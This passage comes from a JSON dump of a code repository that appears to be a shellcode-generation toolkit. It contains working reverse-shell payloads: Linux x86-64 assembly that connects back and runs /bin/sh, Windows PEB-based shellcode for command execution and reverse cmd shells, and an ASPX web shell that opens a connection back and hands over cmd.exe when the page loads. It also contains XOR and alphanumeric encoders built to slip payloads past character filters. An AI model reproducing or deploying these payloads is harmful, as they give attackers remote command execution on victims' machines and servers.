0x0100007f  ; default 127.0.0.1, contains nulls so will need mask\nIP      equ CONNECTBACK_IP\n;PORT        equ 0x5c11      ; default 4444\nPORT        equ CONNECTBACK_PORT\n\n; syscall kernel opcodes\nSYS_SOCKET  equ 0x29\nSYS_CONNECT equ 0x2a\nSYS_DUP2    equ 0x21\nSYS_EXECVE  equ 0x3b\n\n; argument constants\nAF_INET     equ 0x2\nSOCK_STREAM equ 0x1\n\n_start:\n; High level psuedo-C overview of shellcode logic:\n;\n; sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)\n;\n; struct sockaddr = {AF_INET; [PORT; IP; 0x0]}\n;\n; connect(sockfd, &sockaddr, 16)\n;\n; dup2(sockfd, STDIN+STDOUT+STDERR)\n; execve(\"/bin/sh\", NULL, NULL)\n\ncreate_sock:\n    ; sockfd = socket(AF_INET, SOCK_STREAM, 0)\n    ; AF_INET = 2\n    ; SOCK_STREAM = 1\n    ; syscall number 41 \n\n    xor esi, esi        ; 0 out rsi\n    mul esi             ; 0 out rax, rdx\n\n                        ; rdx = IPPROTO_IP (int: 0)\n\n    inc esi             ; rsi = SOCK_STREAM (int: 1)\n\n    push AF_INET        ; rdi = AF_INET (int: 2)\n    pop rdi\n\n    add al, SYS_SOCKET\n    syscall\n\n    ; copy socket descriptor to rdi for future use \n\n    push rax\n    pop rdi\n\nstruct_sockaddr:\n    ; server.sin_family = AF_INET\n    ; server.sin_port = htons(PORT)\n    ; server.sin_addr.s_addr = inet_addr(\"127.0.0.1\")\n    ; bzero(&server.sin_zero, 8)\n\n    push rdx\n    push rdx\n\n    mov dword [rsp + 0x4], IP\n    mov word [rsp + 0x2], PORT\n    mov byte [rsp], AF_INET\n\nconnect_sock:\n    ; connect(sockfd, (struct sockaddr *)&server, sockaddr_len)\n\n    push rsp\n    pop rsi\n\n    push 0x10\n    pop rdx\n\n    push SYS_CONNECT\n    pop rax\n    syscall\n\ndupe_sockets:\n    ; dup2(sockfd, STDIN)\n    ; dup2(sockfd, STDOUT)\n    ; dup2(sockfd, STERR)\n\n    push 0x3                ; loop down file descriptors for I/O\n    pop rsi\n\ndupe_loop:\n    dec esi\n    mov al, SYS_DUP2\n    syscall\n\n    jne dupe_loop\n\nexec_shell:\n    ; execve('//bin/sh', NULL, NULL)\n\n    push rsi                    ; *argv[] = 0\n    pop rdx                     ; *envp[] = 0\n\n    push rsi                    ; '\\0'\n    mov rdi, '//bin/sh'         ; str\n    push rdi\n    push rsp\n    pop rdi                     ; rdi = &str (char*)\n\n    mov al, SYS_EXECVE          ; we fork with this syscall\n    syscall\n\"\"\"\n            connectback_ip_hex = '0x'\n            for i in reversed(connectback_ip.split('.')):\n                connectback_ip_hex += '{:02X}'.format(int(i))\n\n            connectback_port_hex = '0x' + '{:04X}'.format(connectback_port)[-2:]\n            connectback_port_hex += '{:04X}'.format(connectback_port)[:-2]\n\n        else:\n            print \"Format: %s is not supported\" % self.OS_TARGET_ARCH\n            return\n\n        code = code.replace(\"CONNECTBACK_IP\", connectback_ip_hex)\n        code = code.replace(\"CONNECTBACK_PORT\", connectback_port_hex)\n        return code\n\nclass WindowsShellcodes():\n    def __init__(self, OS_TARGET_ARCH):\n        self.shell_types = [\"message\", \"reverse\", \"command\"]\n        self.target_os = \"WINDOWS\"\n        self.target_arch = OS_TARGET_ARCH\n\n    def message(self, message=''):\n        \"\"\"\n            Get simple asm code for windows\n        \"\"\"\n\n        if not message:\n            message = 'hello'\n\n        code = \"\"\"\nglobal _start\n_start:\n    ;eax holds return value\n    ;ebx will hold function addresses\n    ;ecx will hold string pointers\n    ;edx will hold NULL\n\n    xor eax,eax\n    xor ebx,ebx                     ;zero out the registers\n    xor ecx,ecx\n    xor edx,edx\n\n    jmp short GetLibrary\nLibraryReturn:\n    pop ecx                         ;get the library string\n    mov [ecx + 10], dl              ;insert NULL\n    mov ebx, ADDR_LoadLibraryA      ;LoadLibraryA(libraryname);\n    push ecx                        ;beginning of user32.dll\n    call ebx                        ;eax will hold the module handle\n\n    jmp short FunctionName\nFunctionReturn:\n\n    pop ecx                         ;get the address of the Function string\n    xor edx,edx\n    mov [ecx + 11], dl              ;insert NULL\n    push ecx\n    push eax\n    mov ebx, ADDR_GetProcAddress    ;GetProcAddress(hmodule,functionname);\n    call ebx                        ;eax now holds the address of MessageBoxA\n\n    jmp short Message\nMessageReturn:\n    pop ecx                         ;get the message string\n    xor edx,edx\n    mov [ecx+3], dl                 ;insert the NULL\n\n    xor edx,edx\n\n    push edx                        ;MB_OK\n    push ecx                        ;title\n    push ecx                        ;message\n    push edx                        ;NULL window handle\n\n    call eax                        ;MessageBoxA(windowhandle,msg,title,type); Address\n\nender:\n    xor edx,edx\n    push eax\n    mov eax, ADDR_ExitProcess       ;ExitProcess(exitcode);\n    call eax                        ;exit cleanly so we don't crash the parent program\n\n    ;the N at the end of each string signifies the location of the NULL\n    ;character that needs to be inserted\n\nGetLibrary:\n    call LibraryReturn\n    db 'user32.dllN'\nFunctionName:\n    call FunctionReturn\n    db 'MessageBoxAN'\nMessage:\n    call MessageReturn\n    db 'MESSAGEN'\n\"\"\"\n\n        code = code.replace(\"MESSAGE\", str(message))\n\n        functions = ['LoadLibraryA', 'GetProcAddress', 'ExitProcess']\n        handle = windll.kernel32.GetModuleHandleA('kernel32.dll')\n        for func in functions:\n            address = hex(windll.kernel32.GetProcAddress(handle, func))\n            code = code.replace(\"ADDR_\" + func, str(address))\n\n        return code\n\n    def command(self, command='calc.exe', technique='PEB'):\n        \"\"\"\n            Get simple asm code for windows\n        \"\"\"\n\n        code = ''\n\n        if technique == 'SEH':\n            code = \"\"\"\nglobal _start\n_start:\n    call start_main\n\nLGetProcAddress:\n    push ebx\n    push ebp\n    push esi\n    push edi\n    mov ebp, [esp + 24]\n    mov eax, [ebp + 0x3c]\n    mov edx, [ebp + eax + 120]\n    add edx, ebp\n    mov ecx, [edx + 24]\n    mov ebx, [edx + 32]\n    add ebx, ebp\n\nLFnlp:\n    jecxz LNtfnd\n    dec ecx\n    mov esi, [ebx + ecx * 4]\n    add esi, ebp\n    xor edi, edi\n    cld\n\nLHshlp:\n    xor eax, eax\n    lodsb\n    cmp al, ah\n    je LFnd\n    ror edi, 13\n    add edi, eax\n    jmp short LHshlp\n\nLFnd:\n    cmp edi, [esp + 20]\n    jnz LFnlp\n    mov ebx, [edx + 36]\n    add ebx, ebp\n    mov cx, [ebx + 2 * ecx]\n    mov ebx, [edx + 28]\n    add ebx, ebp\n    mov eax, [ebx + 4 * ecx]\n    add eax, ebp\n    jmp short LDone\n\nLNtfnd:\n    xor eax, eax\n\nLDone:\n    pop edi\n    pop esi\n    pop ebp\n    pop ebx\n    ret 8\n\nstart_main:\n    pop esi\n    push byte 0x30\n    pop ecx\n    mov ebx, [fs:ecx]\n    mov ebx, [ebx + 0x0c]\n    mov ebx, [ebx + 0x1c]\n    mov ebx, [ebx]\n    mov ebx, [ebx + 0x08]\n\n    push ebx                ; kernel32.dll base\n    push HASH_WinExec       ; WinExec\n    call esi                ; GetProcAddress(kerne32.dll, WinExec)\n    push eax\n\n    push ebx                ; kernel32.dll base\n    push HASH_ExitProcess   ; ExitProcess\n    call esi                ; GetProcAddress(kerne32.dll, ExitProcess)\n    push eax\n\"\"\"\n\n            code += \"\"\"\njmp short GetCommand\n\nCommandReturn:\n    pop ebx            \t    ; ebx now holds the handle to the string\n    ;xor eax,eax\n    push eax\n    xor eax,eax             ; for some reason the registers can be very volatile, did this just in case\n    ;mov [ebx + 89],al   \t; insert the NULL character\n    push ebx\n    mov ebx, [ebp-32]       ; WinExec: 0x7c86114d\n    call ebx           \t    ; call WinExec(path,showcode)\n\n    xor eax,eax        \t    ; zero the register again, clears WinExec retval\n    push eax\n    mov ebx, [ebp-36]       ; ExitProcess: 0x7c81caa2\n    call ebx           \t    ;call ExitProcess(0);\n\nGetCommand:\n    ;the N at the end of the db will be replaced with a null character\n    call CommandReturn\n    db \"COMMAND 0\"\n\"\"\"\n            code = code.replace(\"COMMAND\", str(command))\n            code = code.replace('HASH_WinExec', str(self.compute_hash_by('WinExec', 0xd)))\n            code = code.replace('HASH_ExitProcess', str(self.compute_hash_by('ExitProcess', 0xd)))\n\n        if technique == 'PEB':\n            code = \"\"\"\nglobal _start\n_start:\n    jmp start_main\n\n;peb technique\nfind_kernel32:\n    xor eax, eax                ; clear ebx\n    mov eax, [fs:0x30]          ; get a pointer to the PEB\n    mov eax, [eax+0x0C]         ; get PEB->Ldr\n    mov eax, [eax+0x14]         ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)\n    mov eax, [eax]              ; get the next entry (2nd entry)\n    mov eax, [eax]              ; get the next entry (3rd entry)\n    mov eax, [eax+0x10]         ; get the 3rd entries base address (kernel32.dll)\n    ret\n;Function : Find function base address\nfind_function:\n    pushad\n    mov ebp,[esp+0x24]\n    mov eax,[ebp+0x3c]\n    mov edx,[ebp+eax+0x78]\n    add edx,ebp\n    mov ecx,[edx+0x18]\n    mov ebx,[edx+0x20]\n    add ebx,ebp\nfind_function_loop:\n    jecxz find_function_finished\n    dec ecx\n    mov esi,[ebx+ecx*4]\n    add esi,ebp\n    xor edi,edi\n    xor eax,eax\n    cld\ncompute_hash_again:\n    lodsb\n    test al,al\n    jz compute_hash_finished\n    ror edi,0xd\n    add edi,eax\n    jmp compute_hash_again\ncompute_hash_finished:\nfind_function_compare:\n    cmp edi,[esp+0x28]\n    jnz find_function_loop\n    mov ebx,[edx+0x24]\n    add ebx,ebp\n    mov cx,[ebx+2*ecx]\n    mov ebx,[edx+0x1c]\n    add ebx,ebp\n    mov eax,[ebx+4*ecx]\n    add eax,ebp\n    mov [esp+0x1c],eax\nfind_function_finished:\n    popad\n    ret\nfind_funcs_for_dll:\n    lodsd\n    push eax\n    push edx\n    call find_function\n    mov [edi], eax\n    add esp,0x08\n    add edi,0x04\n    cmp esi,ecx\n    jne find_funcs_for_dll\nfind_funcs_for_dll_finished:\n    ret\n\nGetHashes:\n    call GetHashesReturn\n    dd HASH_CreateFileA     ; CreateFileA hash\n    dd HASH_WriteFile       ; WriteFile hash\n    dd HASH_CloseHandle     ; CloseHandle hash\n    dd HASH_WinExec         ; WinExec hash\n    dd HASH_ExitProcess     ; ExitProcess hash\n\n;Main\nstart_main:\n    sub esp,0x14            ;allocate space on stack to store 5 function address\n    mov ebp,esp\n    call find_kernel32\n    mov edx,eax             ;save base address of kernel32 in edx\n    jmp GetHashes           ;get address of WinExec hash\nGetHashesReturn:\n    pop esi                 ;get pointer to hash into esi\n    lea edi, [ebp+0x4]      ;we will store the function addresses at edi\n    mov ecx,esi\n    add ecx,0x14            ; store address of last hash into ecx\n    call find_funcs_for_dll ;get function pointers for all hashes\n    jmp startcalling\nstartcalling:\n    ;All Done Start calling Win32 APIs\n    xor eax,eax\n    xor ebx,ebx             ;zero out the registers\n    xor ecx,ecx             ;ECX will always hold 0\n    jmp GetArgument\n\nGetArgument:\n    call ArgumentReturn\n    db \"COMMAND 0\"\n\nArgumentReturn:             ;calc.exe\n    pop edx\n    push edx\n    call [ebp+16]           ;WinExec.Kernel32.dll\n    push ecx                ;0\n    call [ebp+20]           ;ExitProcess.Kernel32.dll\n\"\"\"\n            code = code.replace(\"COMMAND\", str(command))\n            code = code.replace('HASH_CreateFileA', str(self.compute_hash_by('CreateFileA', 0xd)))\n            code = code.replace('HASH_WriteFile', str(self.compute_hash_by('WriteFile', 0xd)))\n            code = code.replace('HASH_CloseHandle', str(self.compute_hash_by('CloseHandle', 0xd)))\n            code = code.replace('HASH_WinExec', str(self.compute_hash_by('WinExec', 0xd)))\n            code = code.replace('HASH_ExitProcess', str(self.compute_hash_by('ExitProcess', 0xd)))\n        return code\n\n    def reverse(self, connectback_ip, connectback_port):\n        code = \"\"\"\nglobal _start\n_start:\n\tcld\n\tcall main\n\tpusha\n\tmov ebp,esp\n\txor eax,eax\n\tmov edx,DWORD  [fs:eax+0x30]\n\tmov edx,DWORD  [edx+0xc]\n\tmov edx,DWORD  [edx+0x14]\nplace1:\n\tmov esi,DWORD  [edx+0x28]\n\tmovzx ecx,WORD  [edx+0x26]\n\txor edi,edi\nloop1:\n\tlodsb\n\tcmp al,0x61\n\tjl place2\n\tsub al,0x20\nplace2:\n\tror edi,0xd\n\tadd edi,eax\n\tloop loop1\n\tpush edx\n\tpush edi\n\tmov edx,DWORD  [edx+0x10]\n\tmov ecx,DWORD  [edx+0x3c]\n\tmov ecx,DWORD  [ecx+edx*1+0x78]\n\tjecxz place6\n\tadd ecx,edx\n\tpush ecx\n\tmov ebx,DWORD  [ecx+0x20]\n\tadd ebx,edx\n\tmov ecx,DWORD  [ecx+0x18]\nplace3:\n\tjecxz place5\n\tdec ecx\n\tmov esi,DWORD  [ebx+ecx*4]\n\tadd esi,edx\n\txor edi,edi\nplace4:\n\tlodsb\n\tror edi,0xd\n\tadd edi,eax\n\tcmp al,ah\n\tjne place4\n\tadd edi,DWORD  [ebp-0x8]\n\tcmp edi,DWORD  [ebp+0x24]\n\tjne place3\n\tpop eax\n\tmov ebx,DWORD  [eax+0x24]\n\tadd ebx,edx\n\tmov cx,WORD  [ebx+ecx*2]\n\tmov ebx,DWORD  [eax+0x1c]\n\tadd ebx,edx\n\tmov eax,DWORD  [ebx+ecx*4]\n\tadd eax,edx\n\tmov DWORD  [esp+0x24],eax\n\tpop ebx\n\tpop ebx\n\tpopa\n\tpop ecx\n\tpop edx\n\tpush ecx\n\tjmp eax\nplace5:\n\tpop edi\nplace6:\n\tpop edi\n\tpop edx\n\tmov edx,DWORD  [edx]\n\tjmp place1\nmain:\n\tpop ebp\n\tpush 0x3233\n\tpush 0x5f327377\n\tpush esp\n\tpush 0x726774c\n\tcall ebp\n\tmov eax,0x190\n\tsub esp,eax\n\tpush esp\n\tpush eax\n\tpush 0x6b8029\n\tcall ebp\n\tpush eax\n\tpush eax\n\tpush eax\n\tpush eax\n\tinc eax\n\tpush eax\n\tinc eax\n\tpush eax\n\tpush 0xe0df0fea\n\tcall ebp\n\txchg edi,eax\n\tpush 0x5\n\tpush CONNECTBACK_IP    ;host\n\tpush CONNECTBACK_PORT   ; port\n\tmov esi,esp\nplace7:\n\tpush 0x10\n\tpush esi\n\tpush edi\n\tpush 0x6174a599\n\tcall ebp\n\ttest eax,eax\n\tje place8\n\tdec DWORD  [esi+0x8]\n\tjne place7\n\tpush 0x56a2b5f0\n\tcall ebp\nplace8:\n\tpush 0x646d63\n\tmov ebx,esp\n\tpush edi\n\tpush edi\n\tpush edi\n\txor esi,esi\n\tpush 0x12\n\tpop ecx\nloop2:\n\tpush esi\n\tloop loop2\n\tmov WORD  [esp+0x3c],0x101\n\tlea eax,[esp+0x10]\n\tmov BYTE  [eax],0x44\n\tpush esp\n\tpush eax\n\tpush esi\n\tpush esi\n\tpush esi\n\tinc esi\n\tpush esi\n\tdec esi\n\tpush esi\n\tpush esi\n\tpush ebx\n\tpush esi\n\tpush 0x863fcc79\n\tcall ebp\n\tmov eax,esp\n\tdec esi\n\tpush esi\n\tinc esi\n\tpush DWORD  [eax]\n\tpush 0x601d8708\n\tcall ebp\n\tmov ebx,0x56a2b5f0\n\tpush 0x9dbd95a6\n\tcall ebp\n\tcmp al,0x6\n\tjl place9\n\tcmp bl,0xe0\n\tjne place9\n\tmov ebx,0x6f721347\nplace9:\n\tpush 0x0\n\tpush ebx\n\tcall ebp\n\n\"\"\"\n        connectback_ip_hex = '0x'\n        connectback_ip_arr = []\n        for i in connectback_ip.split('.'):\n            connectback_ip_arr.append('{:02X}'.format(int(i)))\n        for i in reversed(connectback_ip_arr):\n            connectback_ip_hex += i\n\n        connectback_port_hex = '0x' + '{:04X}'.format(connectback_port)[-2:]\n        connectback_port_hex += '{:04X}'.format(connectback_port)[:-2]\n        connectback_port_hex += '0002'\n\n        code = code.replace(\"CONNECTBACK_IP\", connectback_ip_hex)\n        code = code.replace(\"CONNECTBACK_PORT\", connectback_port_hex)\n        return code\n\n    def compute_hash_by(self, key, num=0xd):\n        \"\"\"\n            Compute hash of WinApi functions\n        \"\"\"\n        hash = 0\n        while key:\n            c_ptr = ord(key[0])\n            hash = (hash << (32 - num)) & 0xffffffff | (hash >> num) & 0xffffffff\n            hash += c_ptr\n            key = key[1:]\n        hash = \"0x%08x\" % hash\n        return hash\n"
  },
  {
    "path": "shellcodes/DotNetShellcode.py",
    "content": "import os\nfrom shellcode import Shellcode\n\nclass AspxShellcode(Shellcode):\n    \"\"\"\n        Class with shellcodes for java language\n    \"\"\"\n    def __init__(self, connectback_ip='localhost', connectback_port=5555,\n                 badchars=['\\x00']):\n        Shellcode.__init__(self, connectback_ip=connectback_ip, connectback_port=connectback_port, badchars=badchars)\n\n    def get_reverse(self, inline=False):\n        \"\"\" Function to get aspx reverse shellcode \"\"\"\n        if not self.CONNECTBACK_IP or not self.CONNECTBACK_PORT:\n            print (\"Settings for connectback listener must be defined\")\n            return False\n        aspx = \"\"\"\n<%@ Page Language=\"C#\" %>\n<%@ Import Namespace=\"System.Runtime.InteropServices\" %>\n<%@ Import Namespace=\"System.Net\" %>\n<%@ Import Namespace=\"System.Net.Sockets\" %>\n<%@ Import Namespace=\"System.Diagnostics\" %>\n<%@ Import Namespace=\"System.IO\" %>\n<%@ Import Namespace=\"System.Security.Principal\" %>\n\n<script runat=\"server\">\n\tstatic NetworkStream socketStream;\n    protected void CallbackShell(string server, int port)\n    {\n    \tSystem.Net.Sockets.TcpClient clientSocket = new System.Net.Sockets.TcpClient();\n    \tclientSocket.Connect(server, port);\n    \tsocketStream = clientSocket.GetStream();\n\n    \tByte[] bytes = new Byte[8192];\n    \tString data = null;\n\n    \tProcess CmdProc;\n        CmdProc = new Process();\n        CmdProc.StartInfo.FileName = \"cmd\";\n        CmdProc.StartInfo.UseShellExecute = false;\n        CmdProc.StartInfo.RedirectStandardInput = true;\n        CmdProc.StartInfo.RedirectStandardOutput = true;\n        CmdProc.StartInfo.RedirectStandardError = true;\n\n        CmdProc.OutputDataReceived += new DataReceivedEventHandler(SortOutputHandler);\n        CmdProc.ErrorDataReceived += new DataReceivedEventHandler(SortOutputHandler);\n\n        CmdProc.Start();\n        CmdProc.BeginOutputReadLine();\n        CmdProc.BeginErrorReadLine();\n        StreamWriter sortStreamWriter = CmdProc.StandardInput;\n        int i;\n        while ((i = socketStream.Read(bytes, 0, bytes.Length)) != 0)\n        {\n            data = System.Text.Encoding.ASCII.GetString(bytes, 0, i);\n            if (data == \"exit\")\n            \tbreak;\n            sortStreamWriter.WriteLine(data.Trim());\n        }\n        clientSocket.Close();\n        CmdProc.Close();\n    }\n\n    public static void SortOutputHandler(object sendingProcess, DataReceivedEventArgs outLine)\n    {\n        string[] SplitData = outLine.Data.Split('\\\\n');\n        foreach (string s in SplitData)\n        {\n             byte[] msg = System.Text.Encoding.ASCII.GetBytes(s + \"\\\\r\\\\n\");\n             socketStream.Write(msg, 0, msg.Length);\n        }\n    }\n\n    protected void Page_Load(object sender, EventArgs e)\n    {\n    \tCallbackShell(\"LOCALHOST\", LOCALPORT);\n    }\n\n</script>\"\"\"\n        if inline:\n            aspx = self.make_inline(aspx)\n        aspx = aspx.replace(\"LOCALHOST\", str(self.CONNECTBACK_IP)).replace(\"LOCALPORT\", str(self.CONNECTBACK_PORT))\n        return aspx\n\n    def get_shellcode(self, inline=False):\n        return self.get_reverse(inline)\n"
  },
  {
    "path": "shellcodes/Encoders.py",
    "content": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom random import *\nimport sys\n\nfrom Runshellcode import RunShellcode\nfrom ShellUtils import *\n\nimport types\n\n\nclass EncoderError(Exception): pass\n\n\nclass Encoder(object):\n    def encode(self, payload):\n        return payload\n\nclass AlphanumericEncoder(Encoder):\n    def __init__(self, disallowed_chars=\"\\x00\\x0d\\x0a\", buffer_register='ecx', offset=0):\n        self.buffer_register = buffer_register\n        self.allowed_chars = self.create_allowed_chars(disallowed_chars)\n        self.offset = offset\n\n    def create_allowed_chars(self, bad_chars):\n        allowed_chars = range(0x61, 0x7b)+range(0x42, 0x5b) + range(0x30,0x3a)\n        for ch in bad_chars:\n            if ord(ch) in allowed_chars:\n                allowed_chars.remove(ord(ch))\n        return allowed_chars\n\n    def encode(self, payload):\n        shell = [ord(c) for c in payload]\n        reg = self.buffer_register.upper()\n        stub =self.create_decoder_stub(reg)\n        offset=0\n        encoded=\"\"\n        while offset < len(shell):\n            block = shell[offset: offset+1]\n            encoded+=self.encode_byte(block)\n            offset+=1\n\n        return stub+encoded+'AA'\n\n    def create_decoder_stub(self, reg):\n        decoder = self.gen_decoder_prefix(reg) + (\n             \"jA\"           # push 0x41\n             \"X\"            # pop eax\n             \"P\"           # push eax\n             \"0A0\"          # xor byte [ecx+30], al\n             \"A\"            # inc ecx                        <---\n             \"kAAQ\"         # imul eax, [ecx+42], 51 -> 10       |\n             \"2AB\"          # xor al, [ecx + 42]                 |\n             \"2BB\"          # xor al, [edx + 42]                 |\n             \"0BB\"          # xor [edx + 42], al                 |\n             \"A\"            # inc ecx                            |\n             \"B\"            # inc edx                            |\n             \"X\"            # pop eax                            |\n             \"P\"            # push eax                           |\n             \"8AB\"         # cmp [ecx + 42], al                 |\n             \"uJ\"           # jnz short -------------------------\n             \"I\")             # first encoded char, fixes the above J\n\n        return decoder\n\n    def gen_decoder_prefix(self, reg):\n        if self.offset > 32:\n            raise Exception(\"Critical: Offset is greater than 32\")\n\n        # use inc ebx as a nop here so we still pad correctly\n        if self.offset <= 16:\n            nop = 'C' * self.offset\n            mod = 'I' * (16 - self.offset) + nop + '7QZ'    # dec ecx,,, push ecx, pop edx\n            edxmod = 'J' * (17 - self.offset)\n        else:\n            mod = 'A' * (self.offset - 16)\n            nop = 'C' * (16 - mod.length)\n            mod += nop + '7QZ'\n            edxmod = 'B' * (17 - (self.offset - 16))\n\n        regprefix = {\n            'EAX'   : 'PY' + mod,                         # push eax, pop ecx\n            'ECX'   : 'I' + mod,                          # dec ecx\n            'EDX'   :  edxmod + nop + '7RY',\t\t\t   # dec edx,,, push edx, pop ecx\n            'EBX'   : 'SY' + mod,                         # push ebx, pop ecx\n            'ESP'   : 'TY' + mod,                         # push esp, pop ecx\n            'EBP'   : 'UY' + mod,                         # push ebp, pop ecx\n            'ESI'   : 'VY' + mod,                         # push esi, pop ecx\n            'EDI'   : 'WY' + mod,                         # push edi, pop ecx\n        }\n\n        reg = reg.upper()\n        if reg not in regprefix.keys():\n            raise Exception(\"Invalid register name\")\n        return regprefix[reg]\n\n    def encode_byte(self, block):\n        # No, not nipple.\n        nibble_chars = [[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[]]\n        for ch in self.allowed_chars:\n            nibble_chars[ch & 0x0F].append(chr(ch))\n        poss_encodings = []\n        block_low_nibble = block[0] & 0x0F\n        block_high_nibble = block[0] >> 4\n        # Get list of chars suitable for expressing lower part of byte\n        first_chars = nibble_chars[block_low_nibble]\n\n        # Build a list of possible encodings\n        for first_char in first_chars:\n            first_high_nibble = ord(first_char[0]) >> 4\n\n            # In the decoding process, the low nibble of the second char gets combined\n            # (either ADDed or XORed depending on the encoder) with the high nibble of the first char,\n            # and we want the high nibble of our input byte to result\n            second_low_nibble = (block_high_nibble^first_high_nibble) & 0x0F\n\n            # Find valid second chars for this first char and add each combination to our possible encodings\n            second_chars = nibble_chars[second_low_nibble]\n            for second_char in second_chars:\n                poss_encodings.append(second_char + first_char)\n\n            if len(poss_encodings) == 0:\n                raise Exception(\"No encoding of 0x%02x possible with limited character set\" % block)\n            return poss_encodings[randint(0, len(poss_encodings)-1)]\n\n\n\n\nclass XorEncoder(Encoder):\n    def __init__(self, disallowed_chars=(0x00, 0x0D, 0x0A)):\n        self._disallowed_chars = self.set_disallowed_chars(disallowed_chars)\n        self._usable_chars = set(range(256)) - self._disallowed_chars\n\n    def set_disallowed_chars(self, chars):\n        new_chars = set()\n        for char in chars:\n            new_chars.add(ord(char))\n        return new_chars\n\n    def _get_supported_register_sets(self):\n        return []\n\n    def _get_register_set(self, register_set):\n        return {}\n\n    def _get_header(self):\n        return []\n\n    def _get_payload_size_position(self):\n        raise NotImplementedError()\n\n    def _get_xor_key_position(self):\n        raise NotImplementedError()\n\n    def _encode_payload(self, payload, register_sets):\n        buffer = []\n        if isinstance(payload, types.StringTypes):\n            buffer.extend(ord(x) & 0xFF for x in payload)\n        else:\n            buffer.extend(payload)\n\n        for c in self._usable_chars:\n            ret = buffer[:]\n            for i in range(len(ret)):\n                ret[i] = ret[i] ^ c\n                if ret[i] in self._disallowed_chars:\n                    # break inner for\n                    break\n            else:\n                self._xor_key = c\n                # break outer for\n                break\n        else:\n            raise EncoderError('cannot encode')\n\n        return ret\n\n    def _prefix_header(self, payload, register_sets):\n        ret = self._get_header()\n\n        payload_len = 0x10000 - len(payload)\n        payload_size_pos = self._get_payload_size_position()\n        ret[payload_size_pos] = payload_len & 0xFF\n        ret[payload_size_pos + 1] = (\n            (payload_len & 0xFF00) >> 8)\n\n        xor_key_pos = self._get_xor_key_position()\n        for reg_set in register_sets:\n            for pos, value in self._get_register_set(reg_set).iteritems():\n                ret[pos] = value\n            for i, c in enumerate(ret):\n                if (c in self._disallowed_chars) and (\n                            i != xor_key_pos):\n                    # break the inner for\n                    break\n            else:\n                # break the outter for\n                break\n        else:\n            raise EncoderError('cannot encode')\n\n        ret[xor_key_pos] = self._xor_key\n        ret.extend(payload)\n\n        return ret\n\n    def encode(self, payload, register_sets=[]):\n        \"\"\"Encode payload.\n\n        :param payload: the payload, either a string or a sequence of bytes\n        :param register_sets: a sequence of registers to try in shellcode\n        header. Sample names include 'eax', 'edx', and 'ebx'.\n        :return: a sequence of encoded bytes\n        \"\"\"\n        if len(payload) == 0:\n            return []\n\n        if len(payload) > 65535:\n            raise EncoderError('cannot encode')\n\n        if not self._usable_chars:\n            raise EncoderError('cannot encode')\n\n        if not register_sets:\n            register_sets = self._get_supported_register_sets()\n\n        encoded_payload = self._encode_payload(payload, register_sets)\n        ret = self._prefix_header(encoded_payload, register_sets)\n\n        return ret\n\n    def encode_to_string(self, payload, register_sets=[]):\n        \"\"\"Encode payload. Return a string.\n\n        :see: encode\n        \"\"\"\n        return ''.join(chr(x) for x in self.encode(payload, register_sets))\n\n\nclass FnstenvXorEncoder(XorEncoder):\n    \"\"\"Fnstenv Xor based on\nhttp://www.metasploit.com/sc/x86_fnstenv_xor_byte.asm.\"\"\"\n\n    HEADER = [\n        0xD9, 0xE1,  # fabs\n        0xD9, 0x34, 0x24,  # fnstenv [esp]\n        0x5A,  # pop edx\n        0x5A,  # pop edx\n        0x5A,  # pop edx\n        0x5A,  # pop edx\n        0x80, 0xEA, 0xE7,  # sub dl,-25     (offset to payload)\n        0x31, 0xC9,  # xor ecx,ecx\n        0x66, 0x81, 0xE9, 0xA1, 0xFE,  # sub cx,-0x15F  (0x15F is size of payload)\n        0x80, 0x32, 0x99,  # decode: xor byte [edx],0x99\n        0x42,  # inc edx\n        0xE2, 0xFA,  # loop decode\n        # payload goes here\n    ]\n\n    REGISTER_SET = {\n        'edx': {5: 0x5A, 6: 0x5A, 7: 0x5A, 8: 0x5A, 9: 0x80, 10: 0xEA,\n                20: 0x32, 22: 0x42},\n        'eax': {5: 0x58, 6: 0x58, 7: 0x58, 8: 0x58,  # 9: 0x90, 10: 0x2C,\n                9: 0x80, 10: 0xE8,\n                20: 0x30, 22: 0x40},\n        'ebx': {5: 0x5B, 6: 0x5B, 7: 0x5B, 8: 0x5B, 9: 0x80, 10: 0xEB,\n                20: 0x33, 22: 0x43},\n    }\n\n    XOR_KEY_POSITION = 21\n\n    PAYLOAD_SIZE_POSITION = 17  # 17 and 18\n\n    def _get_supported_register_sets(self):\n        return FnstenvXorEncoder.REGISTER_SET.keys()\n\n    def _get_register_set(self, register_set):\n        return FnstenvXorEncoder.REGISTER_SET[register_set]\n\n    def _get_header(self):\n        return FnstenvXorEncoder.HEADER[:]\n\n    def _get_payload_size_position(self):\n        return FnstenvXorEncoder.PAYLOAD_SIZE_POSITION\n\n    def _get_xor_key_position(self):\n        return FnstenvXorEncoder.XOR_KEY_POSITION\n\n\nclass JumpCallXorEncoder(XorEncoder):\n    HEADER = [\n        0xeb, 0x10,  # jmp getdata\n        0x5b,  # begin: pop ebx\n        0x31, 0xc9,  # xor ecx, ecx\n        0x66, 0x81, 0xe9, 0xa1, 0xfe,  # sub cx, -0x15F\n        0x80, 0x33, 0x99,  # decode: xor byte[ebx], 0x99\n        0x43,  # inc ebx\n        0xe2, 0xfa,  # loop decode\n        0xeb, 0x05,  # jmp payload\n        0xe8, 0xeb, 0xff, 0xff, 0xff,  # getdata: call begin\n        #  payload goes here\n        #  payload:\n    ]\n\n    REGISTER_SET = {\n        'eax': {2: 0x58, 11: 0x30, 13: 0x40},\n        'ebx': {2: 0x5b, 11: 0x33, 13: 0x43},\n        'edx': {2: 0x5a, 11: 0x32, 13: 0x42},\n    }\n\n    XOR_KEY_POSITION = 12\n\n    PAYLOAD_SIZE_POSITION = 8\n\n    def _get_header(self):\n        return JumpCallXorEncoder.HEADER[:]\n\n    def _get_supported_register_sets(self):\n        return JumpCallXorEncoder.REGISTER_SET.keys()\n\n    def _get_register_set(self, register_set):\n        return JumpCallXorEncoder.REGISTER_SET[register_set]\n\n    def _get_payload_size_position(self):\n        return JumpCallXorEncoder.PAYLOAD_SIZE_POSITION\n\n    def _get_xor_key_position(self):\n        return JumpCallXorEncoder.XOR_KEY_POSITION\n\n\nclass CodeEncoders:\n    \"\"\"\n        Class with Encoders\n    \"\"\"\n\n    def __init__(self, OS_SYSTEM, OS_TARGET, OS_TARGET_ARCH, BADCHARS):\n        self.name = \"\"\n        self.OS_SYSTEM = 